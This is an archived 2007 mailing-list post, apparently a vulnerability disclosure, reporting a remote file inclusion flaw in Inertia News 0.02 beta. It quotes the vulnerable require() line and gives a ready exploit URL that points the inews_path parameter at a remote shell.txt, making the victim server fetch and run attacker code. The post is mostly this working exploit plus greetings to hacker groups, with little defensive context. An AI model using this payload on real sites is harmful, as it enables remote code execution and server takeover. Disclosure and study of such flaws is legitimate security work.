Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

XSS in eWay

XSS in lighttpd

XSS in communityserver !

XSS in JBoss Portal

From:	crazy_king_(at)_eno7.org <crazy_king_(at)_eno7.org>
Date:	13.02.2007
Subject:	Inertia News Remote File İnclude

Version :
0.02 beta

Error :
require ("$inews_path/inertia_sql_class.php");

Exploit : http://www.victim.com/inertianews_main.php?inews_path=http://www.site.com/shell.
txt

Eno7.Org - Crazy-King.ORg

Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayyıldız Tim